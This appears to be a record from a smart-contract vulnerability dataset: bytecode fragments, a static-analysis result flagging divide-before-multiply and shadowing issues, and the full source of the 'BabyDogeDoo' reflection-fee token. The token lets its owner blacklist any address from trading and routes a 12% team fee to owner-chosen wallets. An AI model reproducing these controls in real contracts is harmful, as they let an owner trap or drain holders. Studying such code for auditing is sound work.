00160a060020a0360043581169060243516610fee565b3480156104d257600080fd5b50610242600160a060020a0360043516611019565b3480156104f357600080fd5b5061028361116d565b34801561050857600080fd5b50610283611173565b34801561051d57600080fd5b50610192600160a060020a0360043516611179565b34801561053e57600080fd5b506101926024600480358281019291013590356111cb565b600080600080600080600080600d60149054906101000a900460ff1615151561057e57600080fd5b600a546000985088975087965067016345785d8a00009550670de0b6b3a76400009450674563918244f40000935084906105be903463ffffffff61122416565b8115156105c757fe5b04975033915066038d7ea4c6800034101580156105e5575060055442105b80156105f2575060075442105b80156105ff575060065442105b1561065d5784341015801561061357508334105b15610627576064600589025b049550610658565b83341015801561063657508234105b15610646576064600a890261061f565b348311610658576064600f89025b0495505b6106ca565b66038d7ea4c680003410158015610675575060055442105b8015610682575060075442115b801561068f575060065442105b156106c5578334101580156106a357508234105b156106b35760646005890261061f565b348311610658576064600a8902610654565b600095505b87860196508715156107685750600160a060020a03811660009081526004602052604090205464746a5288009060ff1615801561070b5750600b54600c5411155b1561074f5761071a828261124d565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610763565b66038d7ea4c6800034101561076357600080fd5b6107ef565b60008811801561077f575066038d7ea4c680003410155b156107db57600554421015801561079857506007544210155b80156107a5575060065442105b156107ba576107b4828961124d565b50610763565b3485116107cb576107b4828861124d565b6107d5828961124d565b506107ef565b66038d7ea4c680003410156107ef57600080fd5b6008546009541061081f57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600d54604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610858573d6000803e3d6000fd5b505050505050505050565b60408051808201909152600581527f5749444543000000000000000000000000000000000000000000000000000000602082015281565b600081158015906108cd5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b156108da5750600061093c565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461095c57600080fd5b60085461096f908363ffffffff61133016565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b6000606060643610156109c457fe5b600160a060020a03841615156109d957600080fd5b600160a060020a0385166000908152600260205260409020548311156109fe57600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610a2e57600080fd5b600160a060020a038516600090815260026020526040902054610a57908463ffffffff61133d16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a94908463ffffffff61133d16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610ad8908463ffffffff61133016565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061149183398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610b4857600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610ba757600080fd5b33600090815260026020526040902054821115610bc357600080fd5b5033600081815260026020526040902054610be4908363ffffffff61133d16565b600160a060020a038216600090815260026020526040902055600854610c10908363ffffffff61133d16565b600855600954610c26908363ffffffff61133d16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b66038d7ea4c6800081565b600154600160a060020a03163314610caf57600080fd5b610cb9828261134f565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610ce557600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b60408051808201909152600381527f5769430000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d7757600080fd5b600d5460a060020a900460ff1615610d8e57600080fd5b600d805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610df857600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610e4257fe5b600160a060020a0384161515610e5757600080fd5b33600090815260026020526040902054831115610e7357600080fd5b33600090815260026020526040902054610e93908463ffffffff61133d16565b3360009081526002602052604080822092909255600160a060020a03861681522054610ec5908463ffffffff61133016565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206114918339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460a060020a900460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fb357600080fd5b505af1158015610fc7573d6000803e3d6000fd5b505050506040513d6020811015610fdd57600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a0316331461103757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561109b57600080fd5b505af11580156110af573d6000803e3d6000fd5b505050506040513d60208110156110c557600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561113957600080fd5b505af115801561114d573d6000803e3d6000fd5b505050506040513d602081101561116357600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461119057600080fd5b600160a060020a038116156111c8576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a031633146111e557600080fd5b5060005b8281101561121e5761121684848381811061120057fe5b90506020020135600160a060020a03168361134f565b6001016111e9565b50505050565b60008215156112355750600061093c565b5081810281838281151561124557fe5b041461093c57fe5b600d5460009060a060020a900460ff161561126757600080fd5b60095461127a908363ffffffff61133016565b600955600160a060020a0383166000908152600260205260409020546112a6908363ffffffff61133016565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206114918339815191529181900360200190a350600192915050565b8181018281101561093c57fe5b60008282111561134957fe5b50900390565b600154600160a060020a0316331461136657600080fd5b6000811161137357600080fd5b6008546009541061138357600080fd5b600160a060020a0382166000908152600260205260409020546113ac908263ffffffff61133016565b600160a060020a0383166000908152600260205260409020556009546113d8908263ffffffff61133016565b60098190556008541161140a57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206114918339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820aad0758fd47f9ca79dbc3e933ddc092cc4f5294662debc38dac530583a5cacdf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,236
0x2a61e6f00a37C78d7F564baaDf4e50de66b3A872
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyDogeDoo is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "Baby Doge Doo Doo Doo"; string public constant _symbol = "BabyDogeDoo"; uint8 private constant _decimals = 18; uint256 private _taxFee = 3; uint256 private _teamFee = 12; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**18; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd801461049d578063c9567bf9146104b2578063d28d8852146104c7578063d543dbeb146104dc578063dd62ed3e146105065761012a565b80638da5cb5b1461035957806395d89b411461038a578063a9059cbb1461039f578063b09f1266146103d8578063b515566a146103ed5761012a565b8063313ce567116100e7578063313ce567146102a55780635932ead1146102d05780636fc3eaec146102fc57806370a0823114610311578063715018a6146103445761012a565b806306fdde031461012f578063095ea7b3146101b957806318160ddd1461020657806323b872dd1461022d578063273123b7146102705761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610541565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b506101f2600480360360408110156101dc57600080fd5b506001600160a01b038135169060200135610570565b604080519115158252519081900360200190f35b34801561021257600080fd5b5061021b61058e565b60408051918252519081900360200190f35b34801561023957600080fd5b506101f26004803603606081101561025057600080fd5b506001600160a01b0381358116916020810135909116906040013561059e565b34801561027c57600080fd5b506102a36004803603602081101561029357600080fd5b50356001600160a01b0316610625565b005b3480156102b157600080fd5b506102ba61069e565b6040805160ff9092168252519081900360200190f35b3480156102dc57600080fd5b506102a3600480360360208110156102f357600080fd5b503515156106a3565b34801561030857600080fd5b506102a3610719565b34801561031d57600080fd5b5061021b6004803603602081101561033457600080fd5b50356001600160a01b031661074d565b34801561035057600080fd5b506102a36107b7565b34801561036557600080fd5b5061036e610859565b604080516001600160a01b039092168252519081900360200190f35b34801561039657600080fd5b50610144610868565b3480156103ab57600080fd5b506101f2600480360360408110156103c257600080fd5b506001600160a01b03813516906020013561088d565b3480156103e457600080fd5b506101446108a1565b3480156103f957600080fd5b506102a36004803603602081101561041057600080fd5b81019060208101813564010000000081111561042b57600080fd5b82018360208201111561043d57600080fd5b8035906020019184602083028401116401000000008311171561045f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108c8945050505050565b3480156104a957600080fd5b506102a361097c565b3480156104be57600080fd5b506102a36109b9565b3480156104d357600080fd5b50610144610da7565b3480156104e857600080fd5b506102a3600480360360208110156104ff57600080fd5b5035610dd8565b34801561051257600080fd5b5061021b6004803603604081101561052957600080fd5b506001600160a01b0381358116916020013516610ee0565b6040805180820190915260158152744261627920446f676520446f6f20446f6f20446f6f60581b602082015290565b600061058461057d610f0b565b8484610f0f565b5060015b92915050565b68327cb2734119d3b7a9601e1b90565b60006105ab848484610ffb565b61061b846105b7610f0b565b6106168560405180606001604052806028815260200161208e602891396001600160a01b038a166000908152600460205260408120906105f5610f0b565b6001600160a01b0316815260208101919091526040016000205491906113e1565b610f0f565b5060019392505050565b61062d610f0b565b6000546001600160a01b0390811691161461067d576040805162461bcd60e51b815260206004820181905260248201526000805160206120b6833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b601290565b6106ab610f0b565b6000546001600160a01b039081169116146106fb576040805162461bcd60e51b815260206004820181905260248201526000805160206120b6833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b031661072d610f0b565b6001600160a01b03161461074057600080fd5b4761074a81611478565b50565b6001600160a01b03811660009081526006602052604081205460ff161561078d57506001600160a01b0381166000908152600360205260409020546107b2565b6001600160a01b0382166000908152600260205260409020546107af906114fd565b90505b919050565b6107bf610f0b565b6000546001600160a01b0390811691161461080f576040805162461bcd60e51b815260206004820181905260248201526000805160206120b6833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600b81526a42616279446f6765446f6f60a81b602082015290565b600061058461089a610f0b565b8484610ffb565b6040518060400160405280600b81526020016a42616279446f6765446f6f60a81b81525081565b6108d0610f0b565b6000546001600160a01b03908116911614610920576040805162461bcd60e51b815260206004820181905260248201526000805160206120b6833981519152604482015290519081900360640190fd5b60005b81518110156109785760016007600084848151811061093e57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610923565b5050565b6010546001600160a01b0316610990610f0b565b6001600160a01b0316146109a357600080fd5b60006109ae3061074d565b905061074a8161155d565b6109c1610f0b565b6000546001600160a01b03908116911614610a11576040805162461bcd60e51b815260206004820181905260248201526000805160206120b6833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a70576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610abc9030906001600160a01b031668327cb2734119d3b7a9601e1b610f0f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610af557600080fd5b505afa158015610b09573d6000803e3d6000fd5b505050506040513d6020811015610b1f57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b6f57600080fd5b505afa158015610b83573d6000803e3d6000fd5b505050506040513d6020811015610b9957600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610beb57600080fd5b505af1158015610bff573d6000803e3d6000fd5b505050506040513d6020811015610c1557600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610c478161074d565b600080610c52610859565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610cbd57600080fd5b505af1158015610cd1573d6000803e3d6000fd5b50505050506040513d6060811015610ce857600080fd5b50506013805468327cb2734119d3b7a9601e1b60145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d7857600080fd5b505af1158015610d8c573d6000803e3d6000fd5b505050506040513d6020811015610da257600080fd5b505050565b604051806040016040528060158152602001744261627920446f676520446f6f20446f6f20446f6f60581b81525081565b610de0610f0b565b6000546001600160a01b03908116911614610e30576040805162461bcd60e51b815260206004820181905260248201526000805160206120b6833981519152604482015290519081900360640190fd5b60008111610e85576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610ea66064610ea068327cb2734119d3b7a9601e1b8461172b565b90611784565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610f545760405162461bcd60e51b81526004018080602001828103825260248152602001806121246024913960400191505060405180910390fd5b6001600160a01b038216610f995760405162461bcd60e51b815260040180806020018281038252602281526020018061204b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166110405760405162461bcd60e51b81526004018080602001828103825260258152602001806120ff6025913960400191505060405180910390fd5b6001600160a01b0382166110855760405162461bcd60e51b8152600401808060200182810382526023815260200180611ffe6023913960400191505060405180910390fd5b600081116110c45760405162461bcd60e51b81526004018080602001828103825260298152602001806120d66029913960400191505060405180910390fd5b6110cc610859565b6001600160a01b0316836001600160a01b03161415801561110657506110f0610859565b6001600160a01b0316826001600160a01b031614155b1561138457601354600160b81b900460ff1615611200576001600160a01b038316301480159061113f57506001600160a01b0382163014155b801561115957506012546001600160a01b03848116911614155b801561117357506012546001600160a01b03838116911614155b15611200576012546001600160a01b031661118c610f0b565b6001600160a01b031614806111bb57506013546001600160a01b03166111b0610f0b565b6001600160a01b0316145b611200576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b6001600160a01b038316301461126a5760145481111561121f57600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561126157506001600160a01b03821660009081526007602052604090205460ff16155b61126a57600080fd5b6013546001600160a01b038481169116148015611295575060125460